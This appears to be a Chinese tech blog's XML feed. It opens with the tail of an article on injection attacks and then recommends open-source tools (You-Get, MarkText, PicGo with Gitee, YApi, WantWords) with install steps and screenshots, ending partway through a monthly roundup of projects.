2 组件,而是只要有数据和代码未曾分离的地方,全都是注入攻击的可寻之地。</p><p>因此我们在平时写代码的时候要严防各种注入,最常见的应该就是 SQL 注入了。</p><p>但是,我们也不要因噎废食,弃之不用。攻击检测和漏洞修复的工作,有很多研究机构和安全公司都在进行。历史是螺旋上升的,安全也是,前进性、曲折性和周期性不可避免。</p><blockquote><p>王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。</p></blockquote><p>最后我们为大家准备了由阿里知名白帽子道哥编写的《白帽子讲 Web 安全》,毕竟知己知彼百战百胜,感兴趣的朋友可以公众号回复【见证历史】获取~</p><p>​ </p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>最好用的下载视频工具,不接受反驳</title>
<link href="/blog/2021/12/09/zui-hao-yong-de-xia-zai-shi-pin-gong-ju-bu-jie-shou-fan-bo/"/>
<url>/blog/2021/12/09/zui-hao-yong-de-xia-zai-shi-pin-gong-ju-bu-jie-shou-fan-bo/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>大多数视频网站没有提供下载的功能,要想下载视频要开通会员,B 站没有提供下载功能,今天大叔逛 GitHub 时候发现一个有意思的开源项目,能一键下载全网视频! 这个项目就是 You-Get,目前标星 42.5k。</p><h3 id="支持的网站"><a href="#支持的网站" class="headerlink" title="支持的网站"></a>支持的网站</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112071815332.png"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112071816014.png"></p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112071816303.png"></p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>1、准备工具</p><ul><li><p>python 3.2 或以上版本</p></li><li><p>FFmpeg 1.0或以上版本</p></li></ul><p>2、安装 you-get</p><p>方式一:通过 pip 安装</p><p>you-get 的正式版本在 PyPI 上分发,可以通过 pip 软件包管理器从 PyPI 镜像轻松安装。请注意,必须使用 Python 3 版本的 pip:</p><pre><code>pip3 install you-get</code></pre><p>方法二:通过 Antigen 安装(适用于 Zsh 用户)</p><p>将下行命令添加到您的.zshrc 中:</p><pre><code>antigen bundle soimort/you-get</code></pre><p>方法三:从 GitHub 下载</p><p>下载稳定版(与 PyPI 上的最新版本相同)或开发(更多修补程序、不稳定功能)的 you-get。解压缩它,并将包含 you-get 脚本的目录放入您的 PATH.</p><p>或者,运行</p><pre><code>$ [sudo] python3 setup.py install</code></pre><p>或者</p><pre><code>python3 setup.py install --user</code></pre><p>安装 you-get 到永久路径。</p><p>方法四:Git 克隆</p><pre><code>git clone git://github.com/soimort/you-get.git</code></pre><p>然后将克隆的目录放入您的 PATH, 或运行./setup.py install 以安装 you-get 到永久路径。</p><p>3、下载视频</p><p>查看视频详细信息</p><pre><code>you-get -i &#39;视频 url&#39;</code></pre><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112081019216.png"></p><p>默认 you-get 不添加任何参数可以直接下载视频</p><pre><code>you-get &#39;视频 url&#39;</code></pre><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112081246542.png"></p><p>也可以添加 you-get 显示的download-with 参数值,下载其他格式的视频</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112081251527.png"></p><p>看到没下载视频就是这么简单,心动的小伙伴赶快去公众号后台回复「<strong>下载视频</strong>」,获取项目源码地址。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>又一款「所见即所得」的优秀 Markdown 编辑器</title>
<link href="/blog/2021/12/09/you-yi-kuan-suo-jian-ji-suo-de-de-you-xiu-markdown-bian-ji-qi/"/>
<url>/blog/2021/12/09/you-yi-kuan-suo-jian-ji-suo-de-de-you-xiu-markdown-bian-ji-qi/</url>
<content type="html"><![CDATA[<p>Markdown 是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。Typora从v1.0开始收费,对于我们白嫖党来说,免费才是最香的!</p><img title="" src="https://pic1.zhimg.com/v2-5c39db746dc8e4b71914282c18919fcc_b.jpg" alt="" style="zoom:50%;" width="488"><p>今天大叔给大家推荐一款高颜值的、功能强大的开源 Markdown 编辑器 marktext,Mark Text 是一款简洁优雅的 MarkDown 语法编辑器,优点是跨 windows / macOS / linux 三大平台,免费开源,界面设计精美,轻量速度快,可用行很强。目前在 GitHub上开源,累积 star 22.2k。</p><h3 id="功能特点"><a href="#功能特点" class="headerlink" title="功能特点"></a><strong>功能特点</strong></h3><ul><li>Mark Text 所见即所得,摒弃了众多 markdown 编辑器左边写作右边预览的写作方式,巧妙的将编辑和预览融为一体。</li><li>支持 CommonMark Spe 和 GitHub Flavored Markdown Spec 语法格式,生成的 Markdown 可以复制到任何支持 markdown 格式的社区、网站。</li><li>段落及行内样式快捷键提升写作效率。</li><li>输出 HTML 和 PDF 格式文件,方便在浏览器中预览。</li><li>黑、白两款主题,自由切换。</li><li>多种编辑模式:<strong>源代码模式</strong>、<strong>打字机模式</strong>、<strong>专注模式</strong>。</li></ul><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112071333757.png" style="zoom: 67%;" /><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112071337116.png" style="zoom:67%;" /><h3 id="特色功能"><a href="#特色功能" class="headerlink" title="特色功能"></a><strong>特色功能</strong></h3><p>内置的斗图搜索功能,是 Mark text 的特色功能。通过快捷键 Ctrl+/ 调出搜索窗口,直接用关键词寻找相关图片(大部分都是表情包图片),并以 Markdown 图片链接格式直接插入文章。</p><p><img src="https://s2.loli.net/2021/12/07/5fQBGkPgZKW7dcz.png"></p><p>配置图床,支持 sm.ms 以及 github,GitHub 做为图床最大的缺点就是速度太慢,非常影响我们的使用体验。不过之前开源小妹给大家推荐过一款 GitHub 加速软件,大家可以后台回复 <strong>「加速」</strong> 来获取一下。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112071453675.png"></p><h3 id="使用方法"><a href="#使用方法" class="headerlink" title="使用方法"></a>使用方法</h3><p>输入@展示所有的样式类型,选择需要的样式即可。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112071443876.png"></p><p>作为写作工具,如何提升输入和编辑的效率,MarkText给出的方案是支持段落和行内样式的快捷键操作。比如写作过程经常要用标志不同层级的标题,除了输入@外,还可以使用Ctrl+数字键的组合来快速实现设置1-6级的标题。</p><p>今天给大家介绍到这里,在公众号后台回复「<strong>md</strong>」,获取项目源码地址和安装包。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>大风起兮云飞扬,看我这床强不强!</title>
<link href="/blog/2021/12/07/da-feng-qi-xi-yun-fei-yang-kan-wo-zhe-chuang-qiang-bu-qiang/"/>
<url>/blog/2021/12/07/da-feng-qi-xi-yun-fei-yang-kan-wo-zhe-chuang-qiang-bu-qiang/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔。</p><p>今天给大家推荐一款床。什么床?嘿嘿,当然不是你想的那个床了,而是一款图片的存储媒介–<strong>图床</strong>。</p><h2 id="是什么"><a href="#是什么" class="headerlink" title="是什么"></a>是什么</h2><p>那么,图床是什么呢?先给你来一段官方解释:</p><p>图床一般是指<strong>储存图片的服务器</strong>,有国内和国外之分。国外的图床由于有空间距离等因素决定访问速度很慢影响图片显示速度。有了图床我们可以更方便的管理图片。目前比较常见的图床有 SM.MS 图床,GitHub 图床,七牛云图床和码云图床等。</p><p>大叔给你来个总结:图床就是一款<strong>在线相册</strong>,方便你分类管理图片。</p><p>今天主要介绍的是使用<strong>码云+ PicGo</strong> 开源软件实现的图床解决方案。</p><h2 id="为什么用-PicGo-码云"><a href="#为什么用-PicGo-码云" class="headerlink" title="为什么用 PicGo + 码云"></a>为什么用 PicGo + 码云</h2><p>首先来看看其他方案的缺点:</p><p>GitHub 做为图床最大的缺点就是速度太慢,非常影响我们的使用体验。不过之前开源小妹给大家推荐过一款 GitHub 加速软件,大家可以后台回复 <strong>「加速」</strong> 来获取一下,大叔我这里主要介绍图床,就不赘述啦。</p><p>七牛云做为图床最大的缺点是只有一个月的试用期,后边收费风险较大,还有可能会有电话骚扰的风险(亲测)。</p><p>码云则具有<strong>免费+速度快</strong>的两个优点,因此选择了使用<strong>码云</strong>做为图床的存储媒介。</p><h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2><ol><li><p>注册码云。</p></li><li><p>下载PicGo,后台回复关键字 <strong>「图床」</strong> 获得下载地址,提供了 GitHub 和网盘两种下载方式。</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009152037.png"></p></li></ol><h2 id="创建仓库"><a href="#创建仓库" class="headerlink" title="创建仓库"></a>创建仓库</h2><h3 id="第一步:注册账号"><a href="#第一步:注册账号" class="headerlink" title="第一步:注册账号"></a><strong>第一步:注册账号</strong></h3><p>首先注册码云账号(已有可忽略),注册过程不再赘述。</p><h3 id="第二步:创建仓库"><a href="#第二步:创建仓库" class="headerlink" title="第二步:创建仓库"></a><strong>第二步:创建仓库</strong></h3><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211202165233.png"></p><h3 id="第三步:获取私人令牌"><a href="#第三步:获取私人令牌" class="headerlink" title="第三步:获取私人令牌"></a><strong>第三步:获取私人令牌</strong></h3><p>私人令牌接下来配置 PicGo 的时候使用,<strong>令牌只能显示一次,不要忘记复制</strong></p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20211009152818215.png"></p><p>生成私人令牌(<strong>一定不要忘记复制</strong>)</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xODYxMDk1OS1hOGY3MTIzZjljMTRlNjc0LnBuZw.png"></p><h2 id="安装配置-PicGo"><a href="#安装配置-PicGo" class="headerlink" title="安装配置 PicGo"></a>安装配置 PicGo</h2><h3 id="第一步:安装"><a href="#第一步:安装" class="headerlink" title="第一步:安装"></a><strong>第一步:安装</strong></h3><p>软件为 exe 格式,选择好安装目录直接安装即可。</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009153222.png"></p><h3 id="第二步:插件设置"><a href="#第二步:插件设置" class="headerlink" title="第二步:插件设置"></a><strong>第二步:插件设置</strong></h3><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20211009153327912.png"></p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009155006.png"></p><h3 id="第三步:图床设置"><a href="#第三步:图床设置" class="headerlink" title="第三步:图床设置"></a><strong>第三步:图床设置</strong></h3><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20211009153644676.png"></p><h3 id="第四步:上传图片"><a href="#第四步:上传图片" class="headerlink" title="第四步:上传图片"></a><strong>第四步:上传图片</strong></h3><p>上述配置完成之后即可上传图片进行测试</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20211009154202395.png"></p><p>上传成功之后可在码云上查看</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009164219.png"></p><p>也可以在 PicGo 上查看</p><p><img src="https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009164301.png"></p><p>点击左下角图标可直接复制,非常方便。</p><p>当连接格式选择 Markdown 时,复制的格式是这样的,可直接使用,非常方便。</p><pre><code>![](https://gitee.com/xxx/draw-bed/raw/master/imgs/20211009164301.png)</code></pre><p>至此,码云 + PicGo 的图床方案就已完成。</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>像 GitHub,码云这种免费的优质资源我们一定要充分利用起来,再加上 PicGo 这个好用的开源软件,一个完美的图床解决方案就这样实现了,如果你正在寻找它的话,赶快后台回复 <strong>「图床」</strong> 来获得下载地址吧~</p><p>最后还是要说一句: <strong>大风起兮云飞扬,看我这床强不强!</strong> </p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p>]]></content>
<tags>
<tag> 西二旗乔治 </tag>
</tags>
</entry>
<entry>
<title>还在苦巴巴写接口文档?自动生成让你大呼真香!</title>
<link href="/blog/2021/12/05/huan-zai-ku-ba-ba-xie-jie-kou-wen-dang-zi-dong-sheng-cheng-rang-ni-da-hu-zhen-xiang/"/>
<url>/blog/2021/12/05/huan-zai-ku-ba-ba-xie-jie-kou-wen-dang-zi-dong-sheng-cheng-rang-ni-da-hu-zhen-xiang/</url>
<content type="html"><![CDATA[<p>大家好,我是超可爱的开源小妹!</p><p>不知道大家是不是和我一样,对繁杂的<strong>接口文档</strong>深恶痛绝 <strong>o(≧口≦)o</strong></p><p>平时已经加班加点去实现产品经理提出的复杂需求了,到最后还要写接口文档给前端的小伙伴对接,实在是让人有些沮丧 <strong>ε(┬┬﹏┬┬)3</strong></p><p>幸运的是,最近项目组引入了一个开源软件,很好的解决了我们不想写文档的这个需求,甚至于<strong>无须维护,点击上传按钮就将自动生成 API 文档!!</strong></p><p>今天小妹将 <code>YApi</code> 推荐给大家,希望能够帮助小伙伴们能够早点下班!</p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><hr><p>YApi 是高效、易用、功能强大的 API 管理平台,是为了给开发、产品、测试人员提供更加优雅的接口管理服务。可以帮助开发者们快速轻松的创建、发布、维护 API,甚至还可以利用平台提供的数据写入工具进行 Mock 数据等操作!</p><p>YApi 是根据项目进行区分的,能够很好的满足公司多项目管理的需求!<br><img src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/2021-12/yapi01.png"></p><p>接口可以进行分类,能够维护名称、创建人、状态、接口路径等基础信息。同时也可以查看请求参数和返回数据的结构和描述。</p><p>更棒的是,YApi 还支持高级 Mock 数据,可以在后端同学还没有实现完的情况下,让前端的小伙伴根据 Mock 数据提前进行数据对接!<br><img src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/2021-12/yapi02.png"><br><img src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/2021-12/yapi03.png"></p><h3 id="功能特性"><a href="#功能特性" class="headerlink" title="功能特性"></a>功能特性</h3><hr><ul><li>基于 Json5 和 Mockjs 定义接口返回数据的结构和文档,效率提升多倍;</li><li>扁平化权限设计,即保证了大型企业级项目的管理,又保证了易用性;</li><li>类似 Postman 的接口调试;</li><li>自动化测试, 支持对 Response 断言;</li><li>MockServer 除支持普通的随机 Mock 外,还增加了 Mock 期望功能,根据设置的请求过滤规则,返回期望数据;</li><li>支持 Postman, Har, Swagger 数据导入;</li><li>免费开源,内网部署,信息不用怕泄露。</li></ul><h3 id="如何一键生成-API-接口文档"><a href="#如何一键生成-API-接口文档" class="headerlink" title="如何一键生成 API 接口文档"></a>如何一键生成 API 接口文档</h3><hr><p>现在同学们最常用的 IDE 应该就是 Intellij IDEA 了。因为 YApi 良好的开源性,吸引了很多开发者对它进行插件开发,这里我要介绍的插件就是 <code>YapiIdeaUploadPlugin</code>。</p><p>这个插件可以解析我们平时写的 Javadoc 注释,并自动上传到 YApi 生成 API 文档。也就是说,同学们<strong>只需要正常写我们的注释,API 文档这件事就自动搞定了</strong>,方便吧!!</p><pre class=" language-java"><code class="language-java"> <span class="token comment" spellcheck="true">/** * 添加或更新课程数据 * * @param courseOpt * @return &amp;#123;@link CommonRes&amp;#125; */</span> <span class="token annotation punctuation">@RequestMapping</span><span class="token punctuation">(</span>value <span class="token operator">=</span> <span class="token string">"/test"</span><span class="token punctuation">,</span> method <span class="token operator">=</span> RequestMethod<span class="token punctuation">.</span>POST<span class="token punctuation">)</span> <span class="token keyword">public</span> Course <span class="token function">addOrUpdateCourse</span><span class="token punctuation">(</span><span class="token annotation punctuation">@RequestBody</span> CourseParam courseParam<span class="token punctuation">)</span><span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span> <span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><pre class=" language-java"><code class="language-java"><span class="token keyword">class</span> <span class="token class-name">Course</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">/** * 主键 */</span> <span class="token keyword">private</span> String id<span class="token punctuation">;</span> <span class="token comment" spellcheck="true">/** * 名称 */</span> <span class="token keyword">private</span> String name<span class="token punctuation">;</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span><span class="token keyword">class</span> <span class="token class-name">CourseParam</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">/** * 名称 */</span> <span class="token keyword">private</span> String name<span class="token punctuation">;</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>最终自动生成该接口文档:<br><img src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/2021-12/yapi04.png"></p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><hr><p>小妹这次的分享对于文档苦手来说是一个大大的福音,YApi 能够规范的管理各个项目的接口文档,同时还提供 Mock 数据等实用的功能。</p><p>然后再配合 <code>YapiIdeaUploadPlugin</code> 这个插件,能够 <strong>0 成本</strong>的自动生成 API 文档,这能省出多少个加班的夜晚呀!</p><p>感兴趣的小伙伴赶快来试试吧!只要在公众号后台回复「<code>yapi</code>」,既可获取开源项目和插件的地址(^▽^) 啦,快行动起来吧 <em><em>ヾ(≧▽≦</em>)o</em>*</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>干掉「卧槽」,就用她了!</title>
<link href="/blog/2021/12/02/gan-diao-wo-cao-jiu-yong-ta-liao/"/>
<url>/blog/2021/12/02/gan-diao-wo-cao-jiu-yong-ta-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>平时碰到厉害、愤怒、惊叹的人和事情,大家是不是只会一句<code>卧槽</code>行天下?</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021937625.jpg"></p><p>别问大叔怎么知道,俺也一样!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021937266.jpg"></p><p>今天,大叔就给大家推荐一个非常有意思的开源项目 - <code>万词王(WantWords)</code>。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021937706.png"></p><p>这是一个由清华大学计算机系自然语言处理与社会人文计算实验室(THUNLP)和清华大学人工智能研究合作出品的开源在线「反向词典」。</p><blockquote><p>「反向词典」:即它可以在输入想要表达的意思后,为我们找到相对应的词语。</p></blockquote><p>它的主要作用,<strong>说的直白一些,就是帮你把想说的话顺利无重复的、顺畅的表达出来,不再只有“卧槽”</strong>。</p><p>该项目的架构如下:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021939392.jpg"></p><p>核心模型为作者发表在AAAI-20上的一篇论文提出的多通道反向词典模型:Multi-channel Reverse Dictionary Model,其模型架构如下:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021939394.jpg"></p><p>该项目目前已经在 GitHub 上开源,标星 1.2K,累计分支 56 个。</p><h2 id="使用介绍"><a href="#使用介绍" class="headerlink" title="使用介绍"></a>使用介绍</h2><p>该工具支持<code>中文、英文、汉英、英汉</code>等多种查询方式</p><h3 id="中、英查词"><a href="#中、英查词" class="headerlink" title="中、英查词"></a>中、英查词</h3><p>1、中文查词。这里来举个例子,比如大叔想找「形容伤心的词」,</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021939395.jpg"></p><p>她会告诉你可以用“难过”、“悲伤”、“伤感”、“哀伤”、“忧伤” 等。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021940831.jpg"></p><p>再比如,要「描述人很有才华」,则会返回“才高八斗”、“才气过人”、“才华横溢”、“才气过人”、“一表人才”等词。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021940656.jpg"></p><p>对于给出的每个结果,如果你有某些词看不明白,可以直接点击查看该词的更详细的一些内容,包括拼音、注解等等。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021940324.jpg"></p><p>当然,肯定你也发现了有一些词是不符合的,这也是项目需要优化的地方。点击左上角的「词不达意」按钮,你就可以帮助项目进行优化。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021940827.jpg"></p><p>对于搜索的结果,你可以按照字数、笔画数、拼音字母、韵脚等多种规则进行筛选查询。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941381.jpg"></p><p>如筛选字数大于2个字的词,</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941884.jpg"></p><p>2、英文查词。有种瞬间感觉词汇量就不够了~~</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941284.jpg"></p><p>同样可以点击查看该词的更详细的一些内容,以及点击「词不达意」帮助项目进行优化、筛选搜索结果。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941308.jpg"></p><h3 id="汉英转化查词"><a href="#汉英转化查词" class="headerlink" title="汉英转化查词"></a>汉英转化查词</h3><p>1、汉英查词,即汉语来描述,英语来表达。接着上面的例子,用<code>英文</code>来「描述人很有才华」,还是蛮不错的。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941285.jpg"></p><p>这个 <code>virtuoso</code> 就不太常见,这么一来是不是发现又学到了非常多的新单词?</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021941252.jpg"></p><p>2、英汉查词,即英语来描述,汉语来表达。感觉这个比较适合老外学习汉语用。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021942988.jpg"></p><p>同样的也可以有点击查看详细、点击「词不达意」、筛选搜索结果等操作。这里就不一一展示了。大家可以自己试试。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112021943793.jpg"></p><p>感觉有了这个项目,大家想说卧槽都难了啊!</p><p>所以,为什么不马上在公众号<code>开源小分队</code>后台回复「<strong>wcw</strong>」,获取项目源码地址,赶紧试试呢?</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>11月开源项目精华都在这里啦~</title>
<link href="/blog/2021/12/01/11-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/"/>
<url>/blog/2021/12/01/11-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹!</p><p>11月已经悄然过去啦,小妹花了点时间整理了一下分享过的酷酷项目,方便大家进行查看和收藏!</p><p>1、<a href="https://github.com/deezer/spleeter"><code>Spleeter</code></a>:一个音轨分离软件,只需输入一段命令就可以将音乐的人声和各种乐器声分离,支持mp3、wav、ogg等常见音频格式。该项目由 Python 作为主要语言编写,并且使用了 TensorFlow 来进行模型训练。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916699.jpg"></p><blockquote><p>地址:<a href="https://github.com/deezer/spleeter">https://github.com/deezer/spleeter</a></p></blockquote><p>2、<a href="https://github.com/alibaba/flutter_boost"><code>FlutterBoost</code></a>:由阿里系闲鱼团队开源的框架,是一个能够快速便捷的为原生应用提供 Flutter 混合的集成方案,最新版本已经更新到 v3.0-preview,目前依然在积极维护中!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916700.png"></p><blockquote><p>地址:<a href="https://github.com/alibaba/flutter_boost">https://github.com/alibaba/flutter_boost</a></p></blockquote><p>3、<a href="https://github.com/orika-mapper/orika"><code>Orika</code></a>:一个使用字节码技术栈实现的高性能 Java 对象映射框架,在众多映射框架中是简单易用又高效的代表之作!</p><blockquote><p>地址:<a href="https://github.com/orika-mapper/orika">https://github.com/orika-mapper/orika</a></p></blockquote><p>4、<a href="https://gitee.com/jd-platform-opensource/hotkey"><code>hotkey</code></a>:京东 APP 后台热数据探测开源框架,历经多次高压压测和 2020 年京东 618 大促考验,准确探测大量热门商品并毫秒级推送到各个服务端内存,大幅降低了热数据对数据层的查询压力,提升了应用性能。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916701.png"></p><blockquote><p>地址:<a href="https://gitee.com/jd-platform-opensource/hotkey">https://gitee.com/jd-platform-opensource/hotkey</a></p></blockquote><p>5、<a href="https://gitee.com/paddlepaddle/PaddleOCR"><code>PaddleOCR</code></a>:基于飞桨的开源 OCR 工具库,包含总模型仅8.6M的超轻量级中文 OCR ,单模型支持中英文数字组合识别、竖排文本识别、长文本识别。同时支持多种文本检测、文本识别的训练算法。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916702.png"></p><blockquote><p>地址:<a href="https://gitee.com/paddlepaddle/PaddleOCR">https://gitee.com/paddlepaddle/PaddleOCR</a></p></blockquote><p>6、<a href="https://github.com/xuxueli/xxl-job/"><code>XXL-JOB</code></a></p><p>一个轻量级分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916703.png"></p><blockquote><p>地址:<a href="https://github.com/xuxueli/xxl-job/">https://github.com/xuxueli/xxl-job/</a></p></blockquote><p>7、<a href="https://gitee.com/farsunset/cim"><code>CIM</code></a>:一套基于 Netty 框架的即时消息推送开源系统,目前支持 websocket,android,ios,桌面应用,系统应用等多端接入,可应用于移动应用,物联网,智能家居,嵌入式开发,桌面应用,WEB 应用以及后台系统之间的即时消息服务。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916704.png"></p><blockquote><p>地址:<a href="https://gitee.com/farsunset/cim">https://gitee.com/farsunset/cim</a></p></blockquote><p>8、<a href="https://github.com/docmirror/dev-sidecar"><code>DevSidecar</code></a>:一款为开发者打辅助的边车工具,通过本地代理的方式将 http 请求代理到一些国内的加速通道上,能解决一些网站和库无法访问或访问速度慢的问题。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916705.png"></p><blockquote><p>地址:<a href="https://github.com/docmirror/dev-sidecar">https://github.com/docmirror/dev-sidecar</a></p></blockquote><p>9、<a href="https://github.com/jhy/jsoup"><code>Jsoup</code></a>:一款 Java 的 HTML 解析器,可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API , 可通过 DOM , CSS 以及类似于 jQuery 的操作方法来取出和操作数据。</p><blockquote><p>项目地址:<a href="https://github.com/jhy/jsoup">https://github.com/jhy/jsoup</a></p></blockquote><p>10、<a href="https://github.com/xiaoymin/swagger-bootstrap-ui"><code>Knife4j</code></a>:为 Java MVC 框架集成 Swagger 生成 Api 文档的增强解决方案(在非Java项目中也提供了前端 UI 的增强解决方案),前身是 swagger-bootstrap-ui ,取名 knife4j 是希望她能像一把匕首一样小巧,轻量,并且功能强悍!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916706.png"></p><blockquote><p>地址:<a href="https://github.com/xiaoymin/swagger-bootstrap-ui">https://github.com/xiaoymin/swagger-bootstrap-ui</a></p></blockquote><p>11、<a href="https://github.com/alibaba/arthas"><code>Arthas</code></a>:阿里巴巴开源的 Java 诊断工具,支持JDK 6+,支持Linux/Mac/Windows,采用命令行交互模式,同时提供丰富的 Tab 自动补全功能,进一步方便进行问题的定位和诊断。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916707.png"></p><blockquote><p>地址:<a href="https://github.com/alibaba/arthas">https://github.com/alibaba/arthas</a></p></blockquote><p>12、<a href="https://github.com/elunez/eladmin"><code>El-admin</code></a>:基于 Spring Boot 2.1.0 、 Jpa、 Spring Security、redis、Vue的前后端分离的开源后台管理系统,权限控制的方式为 RBAC,项目支持数据字典与数据权限管理,支持一键生成前后端代码,支持前端菜单动态路由。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916708.png"></p><blockquote><p>地址:<a href="https://github.com/elunez/eladmin">https://github.com/elunez/eladmin</a></p></blockquote><p>13、<a href="https://github.com/halo-dev/halo"><code>Halo</code></a>:一款使用 Java 开发的开源博客系统,使用的 Spring Boot 框架,只需要一行命令便可完成安装</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112300916696.png"></p><blockquote><p>地址:<a href="https://github.com/halo-dev/halo">https://github.com/halo-dev/halo</a></p></blockquote><p>14、<a href="https://github.com/dromara/hutool"><code>Hutool</code></a>:一个小而全的 Java 